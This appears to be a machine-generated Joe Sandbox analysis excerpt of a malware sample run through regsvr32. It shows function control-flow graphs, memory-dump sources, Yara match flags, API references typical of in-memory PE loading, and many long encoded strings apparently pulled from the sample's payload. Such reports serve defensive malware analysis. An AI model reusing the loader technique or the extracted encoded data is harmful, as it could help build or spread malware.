                                                                                                        control_flow_graph 324 b30000-b3029a call b3091c * 2 337 b302a0-b302a4 324->337 338 b30905 324->338 337->338 340 b302aa-b302ae 337->340 339 b30907-b3091a 338->339 340->338 341 b302b4-b302b8 340->341 341->338 342 b302be-b302c5 341->342 342->338 343 b302cb-b302dc 342->343 343->338 344 b302e2-b302eb 343->344 344->338 345 b302f1-b302fc 344->345 345->338 346 b30302-b30312 345->346 347 b30314-b3031a 346->347 348 b3033f-b30371 GetNativeSystemInfo 346->348 349 b3031c-b30324 347->349 348->338 350 b30377-b30393 VirtualAlloc 348->350 351 b30326-b3032a 349->351 352 b3032c-b3032d 349->352 353 b30395-b303a8 VirtualAlloc 350->353 354 b303aa-b303ae 350->354 355 b3032f-b3033d 351->355 352->355 353->354 356 b303b0-b303c2 354->356 357 b303dc-b303e3 354->357 355->348 355->349 358 b303d4-b303d8 356->358 359 b303e5-b303f9 357->359 360 b303fb-b30417 357->360 363 b303c4-b303d1 358->363 364 b303da 358->364 359->359 359->360 361 b30419-b3041a 360->361 362 b30458-b30465 360->362 365 b3041c-b30422 361->365 366 b30537-b30542 362->366 367 b3046b-b30472 362->367 363->358 364->360 368 b30424-b30446 365->368 369 b30448-b30456 365->369 370 b306e6-b306ed 366->370 371 b30548-b30559 366->371 367->366 372 b30478-b30485 367->372 368->368 368->369 369->362 369->365 375 b306f3-b30707 370->375 376 b307ac-b307c3 370->376 373 b30562-b30565 371->373 372->366 374 b3048b-b3048f 372->374 377 b30567-b30574 373->377 378 b3055b-b3055f 373->378 379 b3051b-b30525 374->379 380 b307a9-b307aa 375->380 381 b3070d 375->381 382 b3087a-b3088d 376->382 383 b307c9-b307cd 376->383 386 b3057a-b3057d 377->386 387 b3060d-b30619 377->387 378->373 384 b30494-b304a8 379->384 385 b3052b-b30531 379->385 380->376 388 b30712-b30736 381->388 405 b308b3-b308ba 382->405 406 b3088f-b3089a 382->406 389 b307d0-b307d3 383->389 390 b304aa-b304cd 384->390 391 b304cf-b304d3 384->391 385->366 385->374 386->387 392 b30583-b3059b 386->392 396 b306e2-b306e3 387->396 397 b3061f 387->397 417 b30796-b3079f 388->417 418 b30738-b3073e 388->418 394 b307d9-b307e9 389->394 395 b3085f-b3086d 389->395 400 b30518-b30519 390->400 401 b304e3-b304e7 391->401 402 b304d5-b304e1 391->402 392->387 403 b3059d-b3059e 392->403 407 b307eb-b307ed 394->407 408 b3080d-b3080f 394->408 395->389 399 b30873-b30874 395->399 396->370 398 b30625-b30648 397->398 433 b306b2-b306b7 398->433 434 b3064a-b3064b 398->434 399->382 400->379 415 b304e9-b304fc 401->415 416 b304fe-b30502 401->416 413 b30511-b30515 402->413 414 b305a0-b30605 403->414 409 b308eb-b30903 405->409 410 b308bc-b308c4 405->410 419 b308ab-b308b1 406->419 420 b307fb-b3080b 407->420 421 b307ef-b307f9 407->421 411 b30822-b3082b 408->411 412 b30811-b30820 408->412 409->339 410->409 428 b308c6-b308e9 RtlAddFunctionTable 410->428 422 b3082e-b3083d 411->422 412->422 413->400 414->414 423 b30607 414->423 415->413 416->400 430 b30504-b3050e 416->430 417->388 429 b307a5-b307a6 417->429 424 b30740-b30746 418->424 425 b30748-b30754 418->425 419->405 426 b3089c-b308a8 419->426 420->422 421->422 435 b3084b-b3085c VirtualProtect 422->435 436 b3083f-b30845 422->436 423->387 438 b3077b-b3078d 424->438 431 b30756-b30757 425->431 432 b30764-b30776 425->432 426->419 428->409 429->380 430->413 442 b30759-b30762 431->442 432->438 439 b306b9-b306bd 433->439 440 b306ce-b306d8 433->440 443 b3064e-b30651 434->443 435->395 436->435 438->417 451 b3078f-b30794 438->451 439->440 444 b306bf-b306c3 439->444 440->398 445 b306de-b306df 440->445 442->432 442->442 446 b30653-b30659 443->446 447 b3065b-b30666 443->447 444->440 449 b306c5 444->449 445->396 450 b3068d-b306a3 446->450 452 b30676-b30688 447->452 453 b30668-b30669 447->453 449->440 456 b306a5-b306aa 450->456 457 b306ac 450->457 451->418 452->450 454 b3066b-b30674 453->454 454->452 454->454 456->443 457->433
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254334833.0000000000B30000.00000040.00001000.00020000.00000000.sdmp, Offset: 00B30000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_b30000_regsvr32.jbxd
                                                                                                        Similarity
                                                                                                        • API ID: Virtual$Alloc$FunctionInfoNativeProtectSystemTable
                                                                                                        • String ID: Cach$Flus$GetN$Libr$Load$RtlA$Slee$Virt$Virt$aryA$ativ$ct$ddFu$eSys$hIns$lloc$ncti$nf$o$onTa$rote$temI$tion$truc$ualA$ualP
                                                                                                        • API String ID: 394283112-3605381585
                                                                                                        • Opcode ID: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
                                                                                                        • Instruction ID: fd5d6ca1110f0ff3b97509807b07cf2a29db01701183b243d1bb0cfa9c72f454
                                                                                                        • Opcode Fuzzy Hash: e9a861555d927ec3db92d1fa6852e06d9629cb263f7a81f544b384a165a1d9b2
                                                                                                        • Instruction Fuzzy Hash: A052F430628B488BC719EF18D8957BAB7E1FF54304F24466DE88BC7251DB34E946CB86
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 02409AC0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 145processCOMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 622 2409ac0-2409bac call 240f5f8 625 2409bb2-2409cde call 2403824 622->625 626 2409ce4-2409d29 CreateProcessW 622->626 625->626
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID: CreateProcess
                                                                                                        • String ID: '!$bC$}n
                                                                                                        • API String ID: 963392458-3506391556
                                                                                                        • Opcode ID: 8a104a47ae7361bf1f9a388866478f6b222e166dd5d5b4a97f87296e966f62ab
                                                                                                        • Instruction ID: beaee06daab8f1d6df48105e8dfbe3e2cb4564500de7a45be675b4914258e89f
                                                                                                        • Opcode Fuzzy Hash: 8a104a47ae7361bf1f9a388866478f6b222e166dd5d5b4a97f87296e966f62ab
                                                                                                        • Instruction Fuzzy Hash: 3651027091C7848FD7B8DF18D48979ABBE0FB88314F208A5EE48DD7255DB749888CB46
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024143B4 Relevance: 7.1, Strings: 5, Instructions: 891COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ]YK$mwM$nG{b$u&P$sl0
                                                                                                        • API String ID: 0-2892081849
                                                                                                        • Opcode ID: 33bc90c96b893df8ca5d33e6c5d5a00dde3e134ba9fcb3f1384824a954d8c5fa
                                                                                                        • Instruction ID: c796e893ff9277566131c26fd31722b28c90d16f7bb854a0885e2c590f47216c
                                                                                                        • Opcode Fuzzy Hash: 33bc90c96b893df8ca5d33e6c5d5a00dde3e134ba9fcb3f1384824a954d8c5fa
                                                                                                        • Instruction Fuzzy Hash: BBA2E3706107898BDB48CF24C89A4DE3FA1FB58358F52531DFC8AA62A0D778D595CF88
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0241A788 Relevance: 5.2, Strings: 4, Instructions: 212COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 709 241a788-241a7a7 710 241a7ae-241a7b3 709->710 711 241a8e4-241a97b call 24175f8 710->711 712 241a7b9-241a7be 710->712 721 241a987 711->721 722 241a97d-241a982 711->722 714 241a7c4-241a7c9 712->714 715 241a99c-241aa60 call 242b55c 712->715 718 241a887-241a8df call 2421f74 714->718 719 241a7cf-241a7d4 714->719 723 241aa65-241aa6b 715->723 718->710 724 241a7da-241a882 call 240cf9c 719->724 725 241a98c-241a991 719->725 721->725 722->710 729 241aa6d-241aa74 723->729 730 241aa7e-241aaff call 241e020 723->730 724->710 727 241ab04-241ab16 725->727 728 241a997 725->728 728->710 729->730 730->727
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: -5L~$hT${x$|[
                                                                                                        • API String ID: 0-3023370540
                                                                                                        • Opcode ID: d737631bb945c47eb1d69c93bc395b2ea3ee8f64528f46e9e83f1e75d95fada0
                                                                                                        • Instruction ID: 60a294e7e08e3f0798d376155748965a51e602236c07deb907457f065bca1a93
                                                                                                        • Opcode Fuzzy Hash: d737631bb945c47eb1d69c93bc395b2ea3ee8f64528f46e9e83f1e75d95fada0
                                                                                                        • Instruction Fuzzy Hash: B7A1F6B050074A8BDB48CF28C88A5DE3FB1FB58398F56521DFC4AA62A0C778D595CBC5
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024018F0 Relevance: 4.1, Strings: 3, Instructions: 392COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 734 24018f0-240191e 735 2401923-2401926 734->735 736 2401c54-2401d87 call 2428154 735->736 737 240192c-2401932 735->737 746 2401d98 736->746 747 2401d89-2401d93 736->747 739 2401e96-2401f31 call 241d5b0 * 2 737->739 740 2401938-240193e 737->740 756 2401f36-2401f42 739->756 743 2401944-240194a 740->743 744 2401dae-2401e91 call 2420c08 740->744 748 2401950-2401956 743->748 749 2401afb-2401c4f call 24175f8 * 2 743->749 744->756 754 2401d9d-2401da3 746->754 747->735 753 240195c-2401a14 call 242a518 call 2417b68 748->753 748->754 749->735 764 2401a19-2401af6 call 240e3a8 753->764 754->756 759 2401da9 754->759 759->735 764->754
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: 5 l$Dm$Oh
                                                                                                        • API String ID: 0-3537663504
                                                                                                        • Opcode ID: 3953ee320f05890604715309f524d5627a3b7a20d9962e59c52cc612dcc0a4e8
                                                                                                        • Instruction ID: f7b35e51acc8ea86c676f12744ec700ce26f9d6417699e1abcaad074057a089a
                                                                                                        • Opcode Fuzzy Hash: 3953ee320f05890604715309f524d5627a3b7a20d9962e59c52cc612dcc0a4e8
                                                                                                        • Instruction Fuzzy Hash: B602D271620689EFDB9CDF28C8D999D3BA1FB44354F90622DFD068B290D779D885CB80
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024247AC Relevance: 4.0, Strings: 3, Instructions: 206COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ]S$b^$m$w$
                                                                                                        • API String ID: 0-756679452
                                                                                                        • Opcode ID: 7fc42d03d5d4c805420c219f9c74370db15606bba7290a74ece58895904fbcaf
                                                                                                        • Instruction ID: c416f5d0411188a68b9a3156674c5c5636cfbcc023c4e3d82617c8e1fd385b7d
                                                                                                        • Opcode Fuzzy Hash: 7fc42d03d5d4c805420c219f9c74370db15606bba7290a74ece58895904fbcaf
                                                                                                        • Instruction Fuzzy Hash: 1EA1C17051A784ABD398DF24C5CA95FBBE1FBC4744F802A2DF886872A0D774D909CB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0240DC7C Relevance: 2.8, Strings: 2, Instructions: 263COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 790 240dc7c-240dca3 791 240dca8 790->791 792 240dcaa-240dcb0 791->792 793 240dcb6-240dcbc 792->793 794 240dfbb-240e141 call 2425048 call 242aba4 792->794 796 240dcd1-240dcde 793->796 797 240dcbe-240dcc4 793->797 808 240e143 794->808 809 240e148-240e2a7 call 242aba4 call 242b6c0 794->809 800 240dce0-240dd16 796->800 801 240dd18-240dd36 796->801 798 240e2b2-240e2b8 797->798 799 240dcca-240dccf 797->799 798->792 804 240e2be-240e2cb 798->804 799->792 803 240dd40-240df97 call 241f640 call 242aba4 call 242b6c0 800->803 801->803 818 240df9c-240dfa6 803->818 808->809 809->791 819 240e2ad 809->819 818->804 820 240dfac-240dfb6 818->820 819->798 820->792
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: >C$\
                                                                                                        • API String ID: 0-3476062086
                                                                                                        • Opcode ID: 0d2d8001181839a40c381ad05da49becd43b0dfb096d201cbb0d1f686b6046d6
                                                                                                        • Instruction ID: 51f07c734b405c355e3b5160fc4185672c234fe15bc162dbe9789f0392aebb76
                                                                                                        • Opcode Fuzzy Hash: 0d2d8001181839a40c381ad05da49becd43b0dfb096d201cbb0d1f686b6046d6
                                                                                                        • Instruction Fuzzy Hash: 32E1E9716047889FDBBACF24CC896DE3BA9FB46708F50021DE9CA8E294DB745745CB42
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 0242AC7C Relevance: 2.6, Strings: 2, Instructions: 149COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        • Executed
                                                                                                        • Not Executed
                                                                                                        control_flow_graph 821 242ac7c-242ad7f call 240f5f8 call 24181ec 826 242ad85-242ae4a call 2417a04 821->826 827 242ae9e-242aeb5 821->827 829 242ae4f-242ae99 call 2423120 826->829 829->827
                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: #X$Vwfn
                                                                                                        • API String ID: 0-3987881568
                                                                                                        • Opcode ID: 7b2426bbbbbe7e345beca2c73228600715f5e654106a6ecda0c3352d2beba143
                                                                                                        • Instruction ID: 2f1a18f1e92ec75ddcb9486b3c6529bde3af000b625689cafde1d39d6edcc5c0
                                                                                                        • Opcode Fuzzy Hash: 7b2426bbbbbe7e345beca2c73228600715f5e654106a6ecda0c3352d2beba143
                                                                                                        • Instruction Fuzzy Hash: 556117B0D1474A8BDF88DFA8D98A4EEBBF0FB48304F50421DE905A7290D7789A45CF95
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 024184BC Relevance: 2.6, Strings: 2, Instructions: 148COMMON
                                                                                                        Download Yara Rule

                                                                                                        Control-flow Graph

                                                                                                        Strings
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254435708.0000000002401000.00000020.00001000.00020000.00000000.sdmp, Offset: 02401000, based on PE: false
                                                                                                        Joe Sandbox IDA Plugin
                                                                                                        • Snapshot File: hcaresult_3_2_2401000_regsvr32.jbxd
                                                                                                        Yara matches
                                                                                                        Similarity
                                                                                                        • API ID:
                                                                                                        • String ID: ,$m
                                                                                                        • API String ID: 0-3194143137
                                                                                                        • Opcode ID: a4ba080e6de25e99dc7b401e96668f88d16106f055d4d28aa46a17de2ba770e1
                                                                                                        • Instruction ID: 588186996fff6c2c02dfd4eac9325fdabb595ea599612d24fe18424665beb5f3
                                                                                                        • Opcode Fuzzy Hash: a4ba080e6de25e99dc7b401e96668f88d16106f055d4d28aa46a17de2ba770e1
                                                                                                        • Instruction Fuzzy Hash: D271ACB151C7848BD768DF28C58941BBBF1FBD6748F00491DE69A8A2A0D7B6D848CF43
                                                                                                        Uniqueness

                                                                                                        Uniqueness Score: -1.00%

                                                                                                        Function 00000001800024B4 Relevance: 63.8, APIs: 14, Strings: 22, Instructions: 795COMMON
                                                                                                        Download Yara Rule
                                                                                                        APIs
                                                                                                        Strings
                                                                                                        • n2tsIbLgrkdsSsxLLbbB6ZFqUlQxxtu0JDNtB3VpSqjQ8C8ARKOdUlT96qZpITNlHcekT29VZ6OFjExvUtWxj2tsIeTHiILt/6dQOCrTAbWD0+H0Qm5sIvlgWoXpmmpVOPITREnu34Q5R25UJOJvt++8T29VPOutlExvUkS98r5pITPgt01sweqFPSoAAMLimlE8R+X5+TZtdssobk+9NcEARMyvJl6E74RsIdpfjr2T8lErOCo9ejdvUlu45peT3tpw, xrefs: 0000000180002BCE
                                                                                                        • Unknown exception, xrefs: 0000000180002FF1
                                                                                                        • gDl4v2jmxww9R27trGtsdkJ9TR3ls6dYRUlvpbUXjdYRLf2qp6tvgK68PqONHEhvUtWJH29sIRXO/0Orzz9UOCoVoklv09lsRm5sIm+RksnhGm5VON3hhaNp63Q0R27ltGNsdkLt/z9UOCpa2AlL0+FsRm5s7DfmUIXpKm5VOOG/REnu1zQ9R25r5TNtt+8MS29VM6u1JEhvUoU3QG7npFNsdkLnzz9UOCqLwRFuUlTUPNdsIXvmrgrpihsQ0dT+u7bs, xrefs: 00000001800027CC
                                                                                                        • RKD+rqvDgCt04kJtdikpUircfTLBIVFg0xEkskBsIbIYbn+jhzuSfQpNCElv2Rkc/8ES8WKal2mmm4ZW8uvpQsAicpVZZ2ytRBNl9wdMkxNVOKt1ZK4CXVT7AkazvDNt9wdEtGFVOJM4RElv0yEUQddhIbgoXskpauQQIMJfN0lvGt0517NtIXvotjYN8hcqOCrpRLWQrZN5Z1kEITOsG2Jmyyp1X1gARMgacshJTm6rZCt5yUJsyypNy0IARMgaSgTA, xrefs: 0000000180002922
                                                                                                        • CRP/Ulc8R25oITNtib1sStdVOCoARElvElQ8R25sITNtdkJsSm9VOCoARElvUlQ8R25sITNtdkJsSm9V+CoAREdw6Fo882ehAItsOo9NHgc8SwpwNiYIIDVRZw0NT10CAmIOL08nTUQgLSdPFhtvZwMDRVZDe09mbm9VOCoARElYYD+END1pykA+c6kfGWq+NgDgryw+V78ybbeHU2BonUxGkYQnay/rFiAMOidvQoVsITNtdkJsSm9VOCoARElvAhE8, xrefs: 00000001800024FF
                                                                                                        • l2mmm4ZW8uvpQsDi2lU8R+/ZqTJtdg5YRG2SvbIBREnsEFQ8xtv0IDNtwi21qe7goCsARIq2gbf7wv5tITOSw0Jsy+rFOSoAcEtvUpWZ129sITTsw9JtSm/qnHMAz8z/U1Q8A+XhuTJtdsn5wm5VOKGNxEhvUt14Y14krHdJNgrlDkt90LGQREnqklu4qJOT3otbZ0Jsowmox9W4Q4VvUr1gupGT5rbld0JszfhVOOutzEhvUlu9wuZtITOE70Jsy+rd, xrefs: 0000000180002E4E
                                                                                                        • h72TyyI6uJL5PsgaPViUtJHnbFzmOz2EYpSqx+1F8x+9UlS9AtnbijNtMsmk8rTUgVyBAf6T71Q8xivbLneSicMZ/UtZMirHATaDe1Q8LCMTa7ogCcMpNc/FOCqLCTaYsxy3jK+GJLo4CQrnne4gR+JRREmoFzs5tm5sSnYCDsspJe4QV3TWREmuPzs1xhsDi9FCG8MZJYCAGEfHAfLVr1Q8lgPX4F7Wc8MZ8amdMiqLAfLmFnB8zCsDqHdJTgrhD7gd, xrefs: 0000000180002512
                                                                                                        • oIbFdUJsLOBVOO2F9EpvUvYkR24krGdJJinp+mxVOGSJwflsUlS9wt5vITMBtr2Ty9rlOyoAYuJjUpO5521sITEYdkLt/89WOCpN1gZx09GcRG5s7XRtdsPZ6mxVOJJQE1eo1+w/R24b8zNt98/USW9VNRJJ9Mja6lc8R8FvbYMh/U+dSG1Vs6+4R0lvG9f9Q+coBRsp/wZIaivevYoDREnk3+Q/R26EBeRsdsmkwer9OyoAf4Fg10Y/R27TIDNtdvmi, xrefs: 0000000180002877
                                                                                                        • 264xHB4EhS1LZlb9K0pYI7IZUnYj32xV/24kdBzmUlT9I0pcJbIZUnK8IxSeuV4kdLWj8mW9M0pc1bSzjIUobldsRCoAxQVLagO31+LtVRdVaEj5xqgRHEKISElvkzgYL2bnZRcFdYLlDks9+U4kLEfuJnBUZAJvIbgpUirnDktts24kdMIrdmDUWayT3nvkc/EBSG/vPCsARAHkmRy/gz43acyNuo6gAuy5IO1EYGkaaVQ8gCpIAXiadkIgwabebA4g, xrefs: 0000000180002676
                                                                                                        • +0+u925Vs293halq2xFL/39kJTHsOzWdZ054+U93Q8gaJSB60furZDQIwEJsyxpSPbQHccgaVQ0xS1urZExdZEJsyyoq5pr/u8gaLfZDuZGrZFQNLkJswSIyz8srjpiGUZ79rmjlbFTmMyWtqmzcfU3BIS5q0yFbRq5uIbgoEQbnDxDebS2LCT7mFnAcr4Cf3szVPYVsSuZQo5YBRKC5W1Q8gCsTCyptdg7hR8/pOSrBITZpHt1wYyYgrD6FykNsyyIq, xrefs: 00000001800029CD
                                                                                                        • Ptdwdl0YVm9KXDEAW311Uks9X254cTNtd15nSnNhHiocRVdvQqQyp2K8K/NlBkUMTD9VOCsbTUl0JmQ8XApDIShZWEJ3S0NVKHoAREh7VlQoc2NsNaF9BkN+Qm9HbDoAVn1gUkauSY5gUTgNd11mSnAxLyofEF9vTWApR3GeOcN7llYcS3VSODB03Ul1Zsw8XW/6ITg9dkJtQ21VMVgFdEh1WlQmM3psO1d+dlhYWG9PyjpQRVlpUkRYSm58FT9tZtBg, xrefs: 0000000180002F39
                                                                                                        • CG1PpbX9rW3ldRdN9zZIatBcOSqLAG1P2xAYZ+UgBQvmcmZfgteIf1ofBcAnVpN4Y04BSDNt9wZIakSGOCqLCG1PpbUXjb+FIvmsn0flBkt1uV4kZBvSU1S3A0pMqHdJVgrvjneW9OZAFwHsvgR1zLaEc86TiXGswytxcGKLQXyDUlT7A0osLahtdoUobiubnSoADMyvXdH9R25s5ndJRuU8Sm/tk4Cq7o4rdnwgZ639oEdJRjbE/7jUfA4wUkSQrdVw, xrefs: 0000000180002DCF
                                                                                                        • /64khElvUgl6R26rpRepdkJsa9hVOGKFhEbqSlU8R6noBeNtdkKs7m9VgBXFYQqoFnAUNTDxDbjhUpJsSm+i2evqQMD7doQ8R24HpRe9dkJsCebRHPoAREnXVxUsQ+/oBeNtdkJe65Cq+YYklElvUlm980q8ITNtkP5oSqgRHE5nIUlv0yAYIwDp7trmOmYIvY7td8bECmKlg70/ja+FJ7ohUibtPksxOu7dRY4rdjR8TW5s4F9JFkWtJks1O6t0YCmw, xrefs: 0000000180002F0A
                                                                                                        • 0yEU71VgIbgoXgbnB0/ebRqLCVHmFnAcr0333szVBAZsSoYcw9X/gwx3fKk8R68JOTfsA1pve2JV/28gkalvUpVZZ2ztVBModEhswSp1s28YrNfKrav7AnZF5DNt9wd0WcpVOGKLnCIqSkG1AnatTCtm9zd0WEpmP6t1XFWwaFP7Ak5rITNt9w9Ma0JsqOtlZFnkH3R9/7stPOcs/YKbqy7e+GaLh2Klg70/ja+FJ7ogVoMBamTUTQoqyk9vlREMCMFs, xrefs: 0000000180002A78
                                                                                                        • Uhi3iCLn5wC/PsmnwwNxEGaJMG1PrYRwyvJIsTNtdgvnEUccs0E4DcKMEwpjGa2gabipPss0QifcUDpIzTl3Gt1EZy86abCBBsnQbr9VOCpIz/1LklQ8RybnjRfVdkJsBuThHIIAREnmKoz7B75oITNtPsscgifcUOqLwG3fUlQ8zipIEbjpUuJsSm8ZsV4kbMArdnR0zLeEKpBtdgrnT/vFOirHwG2nUlQ89N1sIXvotk3p9G9VOO1EYCEsF1Q8/Tsb, xrefs: 00000001800025CB
                                                                                                        • OKtFT9+2UlS9MmVQIzptsQeTGclVOKt1u/Ya0wT9IpFm4FaSfoMBtW3UTdVOCqJ8lREvyZxsIbIoZQ4YSm/UTTmLeUhvlREzD6RsIVgoeVnlD2DUTSVS0d1O2REzymIs4NJu/w9jiwJaO6t1Sz2c3FC3AmHlpRftdkJswSpGsW4kLAHiF0t0zipIQbgoccsobjfefdWJAG0/G996HyblZRcl/QRkwytxeKFFTwHmDnAEzipIEbgodQbnB5QRs2/3zxyA, xrefs: 0000000180002C79
                                                                                                        • DyCSfUWrPUlvORFTH+cpTrIoGdWCSm/UTUWzemBx2RFTziuH5nYCKCxsSu4QV1JDREnkHzuEfuCPGcSMt6huwzo6uV9vL4MPMt95KOcpzvQoGYgESm/UfUWzULaQ0yFTnpL5q7goGcspTagQV1b0REnuFzsuvG5soEYCDCNGDeQQV6NFV44qPYuHR27tVFx3l+Zeyxo6XbDPDMIqPd15XKkpTvZvdkLtBwAvEkiSxQwAiVg8R+8ZTlTbTr3nDwDcfQXH, xrefs: 0000000180002B23
                                                                                                        • DuUXOXrmlR+vhqOZcKNcYEEn2yAYVzkkot8tP8mUAuSk0BhdRElckpN4Y163gzNt/wZIfifeZA4w/Du3UlQBq3lsITzpSENsSlLlfCoAS815U1Q8euQ9ITNi8rtsSm9oP1EAREbrglQ8R1Me+TNtecfmS29V/24kbFabUlSEjix6k7ghUmqbq9dQeToEhaNq2wAYb+UgBRual2mmm4ZW8uvpQsAjdnyFN25sIbIpUmoGHpCquV4kbOBfoKv7A0pIrL9t, xrefs: 0000000180002721
                                                                                                        • TG9VuZ8oQklv0AU1R6npATVtdkRcSm/evQoGREniXhT9pmzlrBNrdkLtz09TOCpjZ0lv0+EcQW5saDlidoXpWmlVOEVvREnu10Q6R25t7DNt98d8TG9VSBb/u8jaQlI8R0N9LDOq81pqSm8ZWyoAhex3VFQ8T+XhOTVtdvrTdtl3dKHDs6iuuFC10nZqITPsw1pqSm+grApKxfx3VFQ855ROa7jobkRsSivetToGREnkx3Q6R27nrBtrdkLlDkt10BGB, xrefs: 0000000180002EAC
                                                                                                        • tJGrpRc9d0Js5cdVOOusYBluUlQ1zOJIcTJtdrWNi4VQsb4kFEhvUtW4Yz5tITM8IkJsIetxaCsARCHm1nBsRm5smegmHm3t/ksFOSoAsUhKUpO4YzZtITOdgUJsi8NxYCsARE3k3nBkRm5s1tJGvJOFSaXv68vBNIiGVt2wYzZtITPswmY0S29VUDQKRI7rdsA8R24uoDNt98ZI3m9VOGjbu7bu5nCoR25s45tldsnobvtVOCqLwG03U1Q8zOpIcTJt, xrefs: 0000000180002EDB
                                                                                                        • oH9JRh+r6qvefA4wyUUvk7U5ziJIEbIZUnLBEwmgs24kdMArdmS3C0pUqndJNnGkC+Zd/24kdEg9UlS9A0pcOWCSicMobl+UGyoAxQ1LYr1nR24HZRddRcsobl/UTA4wkL1kUt94Y17lZRdd/Q5IAuRRHBnIBcAnVpN4Y15HKzNt9w5IeqOWA0+BAG1f7wjDuO8YBQPM+HUJwStxCKNEYHkn0ZAUhKKgaboxUko5AuS5cKnsBAHki7wPZ5GT5nZFTmhs, xrefs: 0000000180002D24
                                                                                                        • F3uB2m5s5nZejMtsSlyOgFZoRElSzTY8R2HoujFtdn8QIm9VN66GRklvbzbQR25jpbNpdkJRJJtVOCWEq0hvUmntuW5sLrYzckJsjSpCQmcARMgqReWrR27tVCSiN61eiwJCPqtFU3bcUlS9Mnm+UP9tsQdDJadVOOtta0fsJ3s+gCtjNpRtdikpRT7cfSW4Wzs2Y9V5SK0cITPsM00d45CquV8PIwBZUpN5ZFU8ITPmO2Gbq66/PKNVZ8gqccIluJGt, xrefs: 0000000180002E7D
                                                                                                        Memory Dump Source
                                                                                                        • Source File: 00000003.00000002.254654782.0000000180001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000180000000, based on PE: true
                                                                                                        • Associated: 00000003.00000002.254646022.0000000180000000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255324433.000000018007D000.00000002.00000001.01000000.00000006.sdmpDownload File
                                                                                                        • Associated: 00000003.00000002.255662562.00000001800D8000.00000004.00000001.01000000.00000006.sdmpDownload File
